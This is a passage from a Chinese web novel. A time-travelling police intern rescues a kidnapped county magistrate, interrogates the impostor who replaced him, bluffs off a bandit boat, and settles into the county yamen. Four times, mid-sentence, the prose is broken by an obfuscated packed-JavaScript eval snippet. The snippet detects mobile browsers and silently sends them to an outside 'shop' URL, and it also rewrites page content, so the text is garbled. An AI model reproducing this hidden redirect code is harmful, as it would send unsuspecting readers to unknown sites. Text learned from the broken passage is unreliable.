花尾巴:【啾!水里有蛇!吓死我了!糟了,刚抢来的鱼掉下去了!】 岸边吱吱叫:【吱!吓死我了!两脚兽打架了,快跑跑跑!】 穆青青:……虽然离谱,但这居然真的只是巧合。 崔远抓住几人愣住的那几秒的机会,一棍敲在崔县令手腕上,短刀落地。崔近也冲上前,配合崔远将三人制服,用早备好的麻绳捆了个结结实实。 从胡老大暴起发难到四人被制服,不过几十息时间。快得让人眼花缭乱。 崔夫人惊魂未定,被穆青青搀扶着,浑身发抖,但眼神却异常清明坚毅。她指着地上的锁:“快,找钥匙!搜身!” 崔远崔近立刻给几人搜身,最后从胡老大怀里搜出一串钥匙。试到第三把时,“咔哒”一声,锁开了。 崔远深吸一口气,抓住活板边缘,用力一掀。 “砰!” 活板被掀开,重重落在旁边地板上。 一股难以形容的浑浊恶臭率先涌出。昏暗的光线下,众人看到下方一个极其低矮狭窄的隔舱里,一个被麻绳捆成粽子、嘴里塞着破布团、额头带着干涸血痂的男子,正奄奄一息地仰面躺着。 尽管形容枯槁,面目污秽,但崔夫人还是一眼就认了出来。 “老爷——!” 真崔文博被小心翼翼地从底舱抬出,平放在准备好的干净褥子上。他瘦得脱了形,脸颊凹陷,嘴唇干裂出血,只有胸膛极其微弱的起伏证明他还活着。 剪开绳索,取出堵口物,喂温水,擦拭脸面…… 崔夫人一边流泪一边亲自照顾,手一直在颤抖。 宋师爷红着眼眶指挥仆役烧热水、熬米汤。崔远崔近将那四名匪徒捆好,卸了下巴,防止他们咬舌或呼喊同伙,然后拖到舱角严加看管。 穆青青退到一旁,看着眼前混乱而悲伤的一幕,心中五味杂陈。 她成功了,救出了人。 但看着崔县令的惨状,想到这几日他就在众人脚下咫尺之地受着非人的折磨,而假冒者却在上面安然扮演着他的角色……一股寒意和愤怒交织的情绪在她胸中翻腾。 她悄悄握紧了拳头。 忙乱了大半个时辰,舱内才渐渐安静下来。 真崔文博被灌下一些参汤和稀薄的米油,终于幽幽转醒。他眼皮颤动了几下,缓缓睁开,眼神涣散,好一会儿才聚焦。 看到泪流满面、紧紧握着他手的崔夫人,看到熟悉的宋师爷,看到周围一张张关切的脸,他干裂的嘴唇哆嗦着,却发不出完整的声音,只有眼泪顺着眼角滑落,没入脏污的鬓发。 “老爷……老爷……”崔夫人一遍遍唤着,声音破碎。 宋师爷抹了抹眼角,低声道:“大人,您先别说话,养养精神。贼人已经拿下了,一个都没跑。” 崔文博微微点头,目光在舱内扫过,最后落在角落被捆成粽子的四人身上。看到那个冒充自己的人时,他瞳孔收缩,呼吸急促起来,手指无力地抓着崔夫人的手。 “别激动,老爷,别激动。”崔夫人连忙安抚。 崔县令裹着厚毯,半倚在崔夫人紧急布置的软榻上。他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011102|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色苍白如纸,眼窝深陷,嘴唇干裂,但那双眼睛重新燃起了属于一位朝廷命官的冷静与锐利。尽管虚弱得几乎无法抬手,他的目光扫过被捆缚在角落、卸了下巴的四名匪徒时,依旧带着冰冷的审视。 “夫……人,”他声音嘶哑得几乎只剩气音,每一个字都像砂纸磨过喉咙,却异常清晰,“审。细审。” “老爷放心。”崔夫人红着眼圈,用力点头,替他掖好毯角,转身对宋师爷和崔远崔近道:“老爷的话都听到了?务必问个水落石出!” “是!”崔远抱拳,与崔近一同,像拎死狗般将几人先拖到了隔壁狭窄的货舱,那里已被临时布置成审讯间。宋师爷拿着纸笔跟上,穆青青也默不作声地随去。 崔夫人看见了也没叫住她,想来穆青青之前的能力已得到她的初步认可。 货舱内只点了一盏油灯,光线昏暗。假县令被强迫跪在地上,下巴已被合上,脸颊红肿,但眼神依旧阴鸷,带着亡命之徒的凶悍。 崔远没有多余的废话,一脚踹在他肩头,将其踹得歪倒在地:“说!真名!还有你们到底是如何替换的崔大人?同伙还有谁?目的何在?” 假县令啐出一口血沫,狞笑:“要杀就杀,啰嗦什么!” 宋师爷慢条斯理地展开纸笔,声音不高却带着无形的压力:“壮士,冒充朝廷命官,绑架囚禁,依《永昌律》,主犯凌迟,家眷流三千里,家产抄没。你若老实交代,或可求崔大人开恩,给你个痛快,甚至……为你那不知情的家眷,留一线活路。” “家眷”二字让假县令瞳孔微缩,但随即又硬起脖子。 穆青青悄然站在稍暗处,目光如扫描仪般掠过假县令。 她注意到,尽管他表现得强硬,但其被反绑的双手,手指在微微颤抖,并非全然因为恐惧,倒像是某种长期训练形成的、压抑情绪时的下意识动作。他的呼吸在宋师爷提到家眷时,有明显一瞬的紊乱。 她向前半步,声音平静地开口,却精准地切入细节:“你的虎口,尤其是右手,茧厚而硬,颜色深黄,边缘磨损严重。这不是读书写字能磨出来的,甚至不是普通船工摇橹的茧——摇橹的茧分布更宽,且会有水泡愈合后的痕迹。你的茧,集中在虎口和掌心特定点,更像是……长期握持某种有护手、需要频繁用力劈砍或突刺的短柄器械,比如……单刀?还是分水刺?” 假县令猛地抬眼,死死盯住穆青青,眼神中闪过一丝难以置信。这个看似柔弱的女子,眼睛竟如此毒辣! 穆青青不给他喘息之机,继续道:“你模仿崔县令,学他端茶、走路、甚至咳嗽,形似了七八分。但有些东西,是习惯,更是身体记忆。崔县令因早年苦读,肩颈略有劳损,坐下时,右肩会不自觉地比左肩低毫厘,且习惯用左手去揉按右肩后侧。而你,”她微微摇头,“你坐下时肩背绷得很直,那是练武之人的警惕,你从未揉过肩,反而在独处无人时,手指会无意识地模拟握刀柄的摩擦动作。” 这细节的揭露,让曹三脸色彻底变了。他自认模仿得天衣无缝,竟被人在如此细微处看穿! “你们对崔大人的观察,绝非临时起意,至少持续数月。”穆青青语气笃定,目光如炬,“能如此清楚他生活习惯和身体小毛病的,必是能近身伺候、且观察入微之人。那人,到底是谁?” 5. 鱼目混珠案(5) “崔福!” “是崔福!” 几个声音同时响起。 崔近更是气愤非常:“难怪崔福在出发前突发急病,未能随行,哼,亏得我们老爷夫人平日里对他那么好。” “果然是他。”宋师爷冷笑一声,手中笔杆轻点记录纸,“崔福年前染上赌瘾,大人本就不想带他上任,夫人心软,想着毕竟是用惯了的老人,等安顿好后再想办法处置他。谁知他早就被你们拿捏住了。” “崔福”二字如同惊雷,假县令身躯剧震,眼中瞬间涌出的惊骇与慌乱已彻底出卖了他。 崔远抓住这电光石火的破绽,一把揪住假县令的衣领,将其上半身提起,几乎脸贴着脸,低吼道:“说!怎么换的人?!一字一句给老子说清楚!敢有半句虚言,老子现在就把你丢进河里喂鱼!” 心理防线被连续凿开缺口,尤其是最隐秘的“眼线”被点破,假县令最后的抵抗意志开始瓦解。他喘着粗气,汗水混着血水从额角淌下,终于颓然道:“我……我叫曹三……是三爷‘翻江蛟’的手下……” “说换人的事!”崔近在一旁踢了他一脚。 曹三哆嗦一下,断断续续道:“是……是在清浦码头,上、上船那会儿……跳板滑……崔县令上船时,脚下滑了一下……” 穆青青脑海中立刻精准回放出那一幕:崔县令踏上跳板时身形微晃,紧跟其侧的胡老大一个箭步上前,右手迅速托住崔县令左臂肘弯——动作看似稳当,但崔县令的身体在那一刹那,有过极其短暂、不自然的僵硬。 “胡老大……袖子里藏着‘麻心针’,”曹三继续交代,声音干涩,“针尖淬了药,借着搀扶,在崔县令肘内侧扎了一下。那药……叫‘七步酥’,不会立刻倒,但过不了多久就会头晕脚软,浑身使不上劲……” “崔县令当时只会觉臂上微刺,当官的人都好脸面,胡老大料想他定会说自己没事。崔夫人那时正回头照看行李,被其他船工有意无意挡了一下视线……等崔大人觉得有些头晕目眩时,就会赶紧进主舱房间休息……” 穆青青立刻反应过来,惊讶出声:“你,你当时就躲在崔大人的房间里?” “我……我当时就藏在主舱那张榻的幔子后面,”曹三眼神有些涣散,仿佛回到当时。 “我穿了和崔县令外袍差不多的衣服。崔大人进房后就在塌上躺着休息了,殊不知药性正猛,他很快就失去了知觉。我不放心,又从后面用浸了‘迷魂散’的湿布捂上去,他没挣扎两下就彻底昏过去了。我手脚麻利地把他捆好,嘴里塞了麻核,从堆杂物那边那块活板把他塞进了下面的暗舱。那暗舱是这船早有的隐秘夹层,做了隔音……” “然后,我换上他的官服,再用早就准备好的东西改了下容貌。我本就与崔县令有几分相似,再粘上假须,加上舱里昏暗……等一切布置好后,我就立刻学着崔县令的样子,扶着头,声音虚虚地喊胡老大……接着,就被听到动静赶来的崔夫人扶住了……后来,我还假装落水,崔夫人其实也知道的,然后就一直装病休息,几乎不出门,避免与人接触……”曹三说完,像是耗尽了力气,瘫软下去。 原来如此!所有伏笔在此刻串联成线:上船时那瞬间的异样僵硬、胡老大过分的“殷勤”、主舱内“县令”初时的“虚弱”与深居简出、以及那隐约从地板下传来的敲击声…… 崔远和宋师爷对视一眼,面色凝重。这计划环环相扣,若非穆青青这小丫头心细如发又胆大,真让他们得逞,后果不堪设想。 穆青青也同样面色凝重。 不对,船的吃水深度明显不对,崔县令最多也就一百多斤,船舱的吃水深度表明这艘船起码多装了三四百斤重物。 “你们原本计划到了丰城如何?”宋师爷追问。 “我……我以知县身份上任,胡老大等人作为‘有功’的船工护卫,会设法留在县衙或附近。然后……逐步拉拢或替换关键吏员,控制刑名、钱粮。丰城县丞是个老好人,主簿据说胆小,典史……我们打听过,似乎可用钱财疏通。若有顽固不从的……”曹三眼中凶光一闪即逝,“便制造意外,或栽赃构陷。总之,要让丰城县衙上下,看起来仍是朝廷官衙,实则听命于三爷,为我们在漕运、私盐、还有……某些货物上,打开方便之门。” “某些货物?”穆青青敏锐地抓住这个含糊的用词,“除了盐粮,还有什么?” 曹三忽然紧紧闭住嘴,脸色惨白,仿佛想到了什么极度可怕的事情,任凭崔远再如何逼问,都只是摇头,眼神充满了恐惧,甚至比面对凌迟还要惊惧。 审讯暂时僵住。但核心阴谋已然清晰:这是一起有内应、有预谋、计划周详的冒充官员、意图控制地方衙门的重案,背后涉及盘踞水道的悍匪集团,其图谋恐怕远超普通的捞钱。 曹三瘫在地上,交代完替换细节后,审讯舱内陷入短暂的沉寂,只有油灯芯偶尔爆开的噼啪声和船外呜咽的风雨声。宋师爷笔下如飞,记录着这骇人听闻的阴谋。 崔远面色铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011103|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青,正待继续逼问其同党及“翻江蛟”更深的目的时,一直强撑着精神在隔壁主舱倾听动静的真崔县令,忽然发出压抑不住的剧烈咳嗽。崔夫人焦急的抚慰声隐隐传来。 这咳嗽声让瘫软的曹三眼皮动了动,崔远和宋师爷的注意力也难免被分散了一瞬。 就在这间隙,穆青青脑海中的光幕又自己跳了出来,依旧是那群小生物在自顾自地“闲聊”: 【河湾夜话(当前在线:6)】 花尾巴:【啾!讨厌!下游冲过来一条“黑水蛇”,把水花溅得好高!我的羽毛差点被打湿了!我正站在芦苇尖上梳毛呢!】 浪里梭:【噗噜噗噜!来了条好快的小家伙!划水劲真大,搅得水底的泥沙都翻起来了,我刚找到的一窝小螺蛳都被冲散了!气死鱼啦!】 老元:【嗯?这划水的力道和那股子隐隐的腥躁气……不是寻常渔家。这河湾,怕是要不太平喽。】 岸边吱吱叫:【吱吱!水浪变大了!拍岸声好响!我在洞口藏的几颗干枣不会受潮吧?我得想办法回去检查检查!】 白羽:【嘎?什么东西过去了?影子好快。不管了,东边渡口好像有船靠岸了,我去看看今天有没有新鲜饭粒!】 穆青青立刻意识到情况不对,作为刑警,额,刑警实习生,带着答案去找线索已经类似作弊了。 她侧耳仔细倾听:风雨声、浪涛声、船体吱嘎声……在这些恒定或规律的声音背景中,似乎真的掺入了一丝不和谐的、有节奏的“划擦”声,很轻,很急,来自下游方向,并且正在逐渐增强、靠近。 那不是大型商船沉稳的破浪声,也不是渔船缓慢的摇橹声。那更像是……多人协同、奋力划动轻便小船时,桨叶快速切入又划出水面所特有的、密集而富有弹性的声音。 她不动声色地挪到舱窗边,借着风雨的缝隙向外望去。 天色晦暗,雨幕朦胧,河面能见度很低。但隐约间,在下游河道转弯处的阴影里,似乎有一个比周围深水颜色更浓、移动速度明显快得多的黑影,正破开雨帘,逆流而上! 结合曹三刚交代的背后的三爷,以及胡老大等人行事周密、必有后手的逻辑,穆青青的心脏猛地一沉——接应他们的同伙来了!而且来的很快,很突然! 她猛地转身,语气斩钉截铁,打断了崔远即将开始的下一轮讯问:“宋师爷,崔护卫!下游有情况!一条轻便快船正全速逼近我们,看着不像是商船,很可能是匪徒的同党!离我们已不足一里!” 6. 鱼目混珠案(6) 崔远和宋师爷霍然色变。崔远一个箭步抢到窗边,凝目望去。他是习武之人,目力更佳,此刻集中精神,果然在雨幕中隐约捕捉到了那个迅速变大的黑点,以及黑点两侧规律翻起的异常白浪! “没错!是快船!速度极快!船上……至少四五人!”崔远声音低沉而急促,“来者不善!” 宋师爷当机立断,手中毛笔一搁:“快!崔近!去护住大人夫人,紧闭舱门!崔远,召集所有能动的男丁,上甲板!把这儿收拾了,匪徒押到底舱锁死!”他看了一眼穆青青,眼神复杂,“青青姑娘,你也快去夫人舱中躲避!” 穆青青却快速摇头,语速极快地说:“宋师爷,敌众我寡,硬拼我们毫无胜算。他们乘快船而来,必是以为胡老大等人已然得手,前来接应或查看。我们或可利用这一点,制造假象,拖延时间,甚至将他们惊走!” “如何做?”崔远急问,此刻已顾不上太多。 穆青青大脑飞速运转,结合当前环境、双方心理和有限资源。 “第一,立刻熄灭船上所有不必要的灯火,只留一两盏在船尾摇曳,制造出船上已无人、或者我们刚刚经历过内部混乱、防备松懈的假象。” “第二,将胡老大和曹三的衣物,尤其是那件官服,撕扯出破损痕迹,沾染些鸡血或朱砂甩在船头显眼处,再丢些散乱的绳索、甚至一把无用的破刀。要让他们从远处看来,像是我方经历了搏斗,或许已控制局面,或许两败俱伤。” “第三,也是关键,”她目光炯炯,“他们靠近后,必定会观察、呼喊试探。我们需要一个人,在船尾下风处,模仿胡老大或曹三的声音,用惊慌失措、气若游丝的音调喊话,内容要模糊但充满警告,比如‘有诈……快走……’或者‘点子硬……栽了……’,喊完立刻隐匿,制造出喊话者可能已遭不测或正在躲藏的错觉。同时,让一两个人在船舷制造一点落水声或碰撞声。” 宋师爷捻着断指,眼中精光连闪:“疑兵之计!让他们疑神疑鬼,不敢轻易登船查探。我们则趁机将船尽量往水情复杂,暗礁颇多的地方划去,他们快船吃水浅,但也不敢在可能触礁的情况下贸然逼近追击!” “正是!”穆青青点头,“我们示弱、示乱,引他们疑惧,再利用地形避险拖延。只要能拖到天亮,或者拖到他们不敢冒险强攻,我们就有机会!” 计划虽险,却是目前唯一可行的策略。崔远深深看了穆青青一眼,不再犹豫:“好!我去模仿喊话,我听过胡老大声音!崔近,你带人布置假象,动静要快!老李,你熟悉水性,带两个人去悄悄准备小船,万一……万一不妙,也能护送夫人老爷船后浅滩撤离!” 命令迅速下达。官船上仅存的七八个男人(包括崔远、崔近、宋师爷、老李和几个健壮仆役)立刻行动起来,如同精密的齿轮开始咬合。灯火迅速熄灭,只留船尾一盏孤灯在风雨中明灭。破损的“血衣”和杂物被匆匆布置在船头。 穆青青没有躲进内舱,她征得崔夫人同意,留在主舱与外舱之间的过道阴影里,这里既能观察甲板情况,又相对安全,还能及时传递信息。 快船如同黑色的水箭,迅速穿透雨幕,逼近到百步之内,速度稍稍放缓,显然在观察。 官船一片昏暗,歪斜着缓缓向西岸挪动,船头一片狼藉,船尾孤灯飘摇,整个情形透着一股诡异和不安。 快船上,独眼龙匪首眯着眼,心中的疑虑越来越重。预期的接应信号没有,官船这副模样…… 就在他犹豫是否要靠上去时,官船尾部的阴影里,突然传来一声沙哑、急促、充满了惊恐的呼喊,被风雨撕扯得断断续续:“……走!快走……有埋……伏!胡老大……栽了……呃啊!”最后是一声短促的闷哼,然后彻底消失。与此同时,官船船舷某处传来“噗通”一声,像是什么重物落水。 快船上的匪徒们顿时骚动起来! “大哥!是胡老大的声音?他说有埋伏?” “官船上一片黑,还往礁石区靠……会不会是圈套?” “胡老大他们难道真失手了?那刚才喊话的是谁?是不是也被……” 独眼龙脸色阴晴不定。他盯着那艘如同鬼船般漂向危险西岸的官船,又看了看自己脚下轻便但脆弱的快船,再想到胡老大那声充满恐惧的警告……一股寒意爬上脊背。 “妈的!”他狠狠啐了一口,“情况不明,不能硬闯!这官船看着邪性,还在往死路上走,别是故意引我们过去!胡老大要真栽了,咱们上去也是送菜!撤!先撤回老鸦荡禀报蛟爷!” “那胡老大他们……” “顾不上了!生死有命!”独眼龙咬牙下令,“调头!撤!” 快船在水面灵巧地划了一个半圆,桨叶翻飞,比来时更快地消失在下游的雨幕深处。 官船上,一直紧绷着神经、凝神倾听观察的崔远,直到那急促的划水声彻底消失在风雨河流的嘈杂背景中,又屏息等了数十息,确认再无任何异常动静靠近,才长长地、极其缓慢地吐出一口压在胸口的浊气,低声道:“好像……真撤了。” 他这一声,仿佛解开了定身咒。甲板上负责制造声响、藏在阴影里的老李和几个仆役,几乎虚脱地坐倒在地,方才握着简陋武器的掌心全是冷汗。主舱过道里,穆青青也感觉双腿有些发软,后背衣衫早已被冷汗浸透,紧握窗棂的手指微微发麻。 宋师爷从藏身处走出,捻着断指,望着下游方向,面色依旧凝重:“虽暂退,不可不防其去而复返,或另寻他法。此处仍非久留之地。” 崔远点头,强打精神指挥:“灯火暂不恢复,保持警戒。老李,你带两人盯着上下游动静。其余人,缓缓调整船帆,借着这风雨未歇,尽量将船往东岸平缓处靠,寻个隐蔽河湾下锚歇息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011104|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等天明再作打算。” 命令被低声传达下去。官船如同受伤的巨兽,在黑暗中小心翼翼地调整着姿态,艰难而缓慢地向着相对安全的东岸挪动。 约莫半个时辰后,船终于在一处芦苇茂密、水流平缓的河湾背风处稳稳下锚。风雨也似乎小了一些,但天色依旧漆黑如墨。 直到此时,众人才算真正松了一口气。但紧绷的弦一旦稍松,疲惫和后怕便如潮水般涌上。崔夫人赶紧安排人重新熬了热汤,让众人分食,暖暖身子,也压压惊。 穆青青也喝了一碗热汤,感受着暖流驱散体内的寒意。她走到舱窗边,望着外面黑沉沉的河面与芦苇丛的轮廓。脑海中,那“河湾夜话”的光幕依然在,只是内容已经变成了这片新河湾“居民”的嘀咕: 【河湾夜话(当前在线:5)】 芦花:【扑棱!哪儿来的大木头(官船)?吵吵嚷嚷的,还挡风!我刚絮好的窝!】 老元:【这儿水还行,就是虫子少了点。刚那阵乱糟糟的,是西边传来的吧?】 浪里梭:【噗噜!这里水草没有之前那边嫩!不过总算安静了,刚才可吓死鱼了!】 岸边吱吱叫:【吱……这里有片野葵花地!瓜子!好多瓜子!虽然有点潮……不管了,先囤点!】 穆青青看着这些充满生活气息、对人类变故几乎毫无概念的“聊天”,心情有些复杂。它们是她无意中获得的独特信息源,但信息杂乱且视角天真,需要她极强的洞察力和联想力去拼凑、解读。 刚才,正是从它们抱怨“水蛇快船溅起水花”、“搅乱泥沙冲散螺蛳”等话语中,她结合环境声音和逻辑推理,才判断出危险临近。 这更像是一套极其特殊、难以掌控且需要高超技巧才能使用的“加密情报系统”。 嗯,这个金手指还特别可爱,她,挺喜欢的。 “青青姑娘。”崔远的声音在身后响起,他端着一碗热汤过来,“宋师爷请你过去一趟,老爷夫人也在主舱。” 穆青青收敛心神,点点头,接过汤碗几口喝完,跟着崔远走向主舱。 主舱内点了两盏灯,光线柔和。崔县令崔文博已经被扶着坐起一些,背后垫着厚厚的被褥,脸色依旧苍白,但眼神已清明许多。崔夫人坐在榻边,握着他的手。宋师爷则坐在下首的凳子上。 见穆青青进来,崔县令微微颔首,目光落在她身上,带着审视,也带着一丝不易察觉的感激。 “穆姑娘,”他的声音依旧沙哑,但比之前连贯了些,“方才……多亏你机警。” “民女不敢当,只是侥幸察觉些微异常。”穆青青垂眸,态度恭谨。 “非是侥幸。”崔县令缓缓道,咳嗽了两声,“听内子与宋师爷言,你能于细微处辨真伪,于混乱中定心神,更献疑兵之计,惊退匪类。此非寻常女子所能为。你……究竟是何人?” 7. 新身份新生活 这个问题,终于被摆到了明面上。 舱内几人的目光都集中在穆青青身上。 穆青青心知,自己之前的种种表现,早已超出“逃难孤女”的范畴。此刻再单纯以“失忆”搪塞,不仅牵强,也可能失去这难得的、初步建立的信任。 她抬起眼,目光平静地迎上崔县令的审视,心中迅速有了决断。 “回大人,”她声音清晰,带着一种刻意调整过的、介于迷茫与确信之间的语气。 “民女确实记不起籍贯亲眷,落水前许多事都模糊一片。但……有些东西,似乎并未完全忘却。比如,如何观察人的形貌举止、如何从杂乱痕迹中寻找线索、如何在危急时冷静思索对策……这些,仿佛刻在骨子里。落水被救醒后,这些……‘本能’便渐渐清晰起来。至于为何会这些,民女……实在想不起了。或许落水前,民女家中曾有变故……或许民女自身,有过不寻常的经历?” 她将刑警的职业素养,巧妙地包装成“遗失记忆背景下的残留本能”。这个说法,既解释了她的异常能力,又保留了“失忆”的挡箭牌,还留下了一丝引人探究的悬念,进退皆宜。 崔县令与宋师爷对视一眼,眼中都闪过思索。世间确有奇人,或家学渊源,或经历奇特,即便记忆受损,某些深入骨髓的技能或本能却可能保留。穆青青的说法虽离奇,但结合她展现的能力,却并非完全不可信。更何况,她如今孤身一人,又确实对他们有救命之恩、解困之德。 沉默片刻,崔县令缓缓道:“你于本官一家有恩。既身世未明,可愿暂且随我等前往丰城?待安顿下来,或可慢慢寻访你的来历。期间,你便以……本官故交之女的身份暂居后衙,一来全你救命之恩,二来,或许……你的这些‘本能’,于丰城之事,也能有所助益。” 他说到最后,语气微沉,显然想到了那未除的隐患“翻江蛟”以及危机四伏的丰城。 穆青青现在迫切需要的正是这样一个合理的身份及暂居之所。她立刻躬身行礼:“多谢大人、夫人收留。民女定当谨守本分。” “起来吧。”崔夫人温声道,看着穆青青的眼神柔和而怜惜,“可怜的孩子,先好好将养身子。到了丰城,一切都会好起来的。” 事情暂时定了下来。穆青青终于在这个陌生的“大曜王朝”有了一个相对合理的身份和安身之处。 接下来几日,官船就在那隐蔽河湾休整,等待崔近寻来当地保甲和县衙派来的兵丁护送。崔县令的身体在精心调理下慢慢恢复。被擒的曹三、胡老大等人被严加看管。 期间,穆青青并未放松。她通过与小莲、刘婶等人闲聊,以及观察沿途景物、倾听“河湾夜话”中偶尔提及的当地风物,不断补充着对这个时代和丰城地区的认知。 她还趁机将整个船舱搜索了一遍,可惜,并没有看到任何曹三口中所谓的“货物”。 又联想到之前的“河湾夜话”中小动物们提到的落水麻袋和生锈的铁箱子,心中有了一些猜想。 只是如今他们一行人还未彻底脱险,崔大人也还未就任,丰城的情况更是不明朗,这些疑惑只能暂时搁置,待日后时机成熟了,她再提醒崔大人回来调查吧。 数日后,在一队二十余名县衙弓兵和十余名民壮的护卫下,官船再次起航,朝着最终目的地——丰城县码头,稳稳驶去。 当那座灰黑色城墙、密集樯橹和喧嚣人声逐渐清晰的城池终于映入眼帘时,穆青青站在船头,河风拂动她略显宽大的粗布衣裙。 丰城,到了。 晨雾像一层柔纱,慢悠悠地罩着丰城县衙的后院。 天刚蒙蒙亮,洒扫的仆役已经拿着竹帚,“沙沙”地清扫着青石板上的落叶。那声音很轻,很规律,听得人心里头安宁。 穆青青推开那扇老旧的木窗,湿润的河风立刻就涌了进来,带着一股子鲜活热闹的市井气息——隔壁刘婶熬粥的米香,巷口油条摊子“滋啦”的滚油声,更远处,码头那边隐约传来的号子,低沉而有力,一声声,仿佛能把晨雾撞开个口子。 她深深地吸了一口气,这丰城,就像个刚刚睡醒的巨人,浑身上下都透着股蓬勃的劲儿。 “姑娘醒啦?”小荷端着个黄铜盆子进来,圆圆的脸蛋上笑出两个浅浅的酒窝,“厨娘刘婶今儿个可大方,用了早上码头刚卸的活鲈鱼,片得薄薄的,熬了鱼片粥,鲜得嘞!说是给姑娘补补身子。” 小荷是崔夫人三日前从本地人市上挑来的小丫鬟,才十三岁,说话带着丰城一带特有的软糯口音,像糯米糕似的,黏黏甜甜。她手脚麻利,性子也活泼,崔夫人瞧着喜欢,就拨来伺候穆青青。 穆青青接过温热的帕子敷在脸上。热气蒸腾着,模糊了眼前的光景。她下意识地用另一只手,轻轻摩挲着自己左手手腕的内侧。那里,有一圈极淡极淡的白色痕迹,不仔细看根本瞧不出来,像是曾经长期戴着什么极细的链子或绳环留下的。自从在临河湾醒来,这痕迹就在了,可任她怎么想,脑子里关于这痕迹的来由,都是一片空白,空落落的,让人心头发慌。 “姑娘,您手腕上这是……”小荷眼尖,凑近了看。 “没什么,”穆青青放下手,用帕子仔细擦着脸,岔开了话头,“许是以前戴过什么小玩意儿留下的印子。夫人今早可有什么吩咐?” “夫人说了,姑娘初来乍到,不必急着去请安,先在咱们这院子里熟悉熟悉,把这儿当自己家就成。” 小荷一边说着,一边手脚利落地帮穆青青梳头。她心灵手巧,不一会儿就梳了个清爽的双平髻,又从那妆匣里挑了支素银的簪子簪上,衬得穆青青那张尚显稚嫩的脸,多了几分这个年纪少女该有的秀气。 “对了,”小荷压低了些声音,带着点分享秘密的雀跃,“夫人还特意交代了,咱们后衙西边墙根那儿,有个不起眼的小角门,平日里买菜、寄信,或是咱们自己人想出去透透气,都从那儿走。钥匙就在门房陈伯那儿。夫人说,姑娘若是闷了,随时可以出去逛逛,只一样,记着申时前回来,别走远了就成。” 穆青青心中微暖。崔夫人待她,确实是真心实意的周到。她如今顶着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011105|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “崔县令故交之女”的名头,虽是寄居,却并非囚徒,能有这般自由,已是难得。 梳洗妥当,她换上了一身崔夫人昨日让裁缝赶制的新衣。藕荷色的交领襦裙,料子是普通的细棉布,但剪裁合身,外面罩一件淡青色的比甲,颜色素净,正适合她现在的身份。走到那面有些模糊的铜镜前,镜中的少女身量纤细,约莫十五六岁的年纪,眉眼间已有了清秀的轮廓,只是脸色仍有些苍白,是长期食不果腹留下的痕迹。 唯独那双眼睛,沉静,清亮,看人看事时,总带着一种超越年龄的洞察与冷静,与这张尚且稚嫩的脸庞,有些微妙的不协调。 她对着镜子,轻轻抚平了衣襟上几乎看不见的褶皱,这才推门走了出去。 县衙的后衙是个规整的两进院子。前院是崔县令处理日常公务、会见僚属的地方,带着官署的肃穆;后院则是内眷起居之所,要温馨闲适得多。 穆青青的厢房安排在西侧,紧挨着小厨房和一个袖珍的花园。园子不大,但收拾得齐整,沿着墙根种了些常见的月季、凤仙,正是开花的时节,红红粉粉的,热闹得很。角落里一株老槐树,怕是有些年头了,枝干虬结,亭亭如盖,投下一大片清凉的绿荫。树下随意摆着石桌石凳,石面被岁月摩挲得光滑温润。 穆青青站在檐下,静静地打量着这个暂时属于她的新天地。晨光透过槐树的枝叶,在地上投下斑驳摇晃的光影,空气里浮动着花草清冽的香气,混合着厨房飘来的、若有若无的食物暖香,让她那颗自穿越以来就一直紧绷着的心,终于得以稍稍松弛。 就在这时,她脑海中那个许久未有动静的光幕,忽然毫无征兆地浮现出来,一行行文字跳跃着: 【丰城县衙(当前在线:6)】 瓦片:【喵呜——先让本喵伸个大大的懒腰——西墙根底下,从南往北数第三块砖,被日头晒得最暖和!那是本喵的宝座!谁也别想抢!】 绒球:【啾啾!厨房窗台!今天又掉米粒了!三粒!黄澄澄的!今天我一定要抢到!昨天让灰灰那家伙偷吃了一粒,气死我啦!】 灰灰:【吱吱!粮仓东墙那个老缝里的花生米,昨晚居然没被隔壁洞的臭小子偷走!万幸万幸!今晚可以加餐啦!】 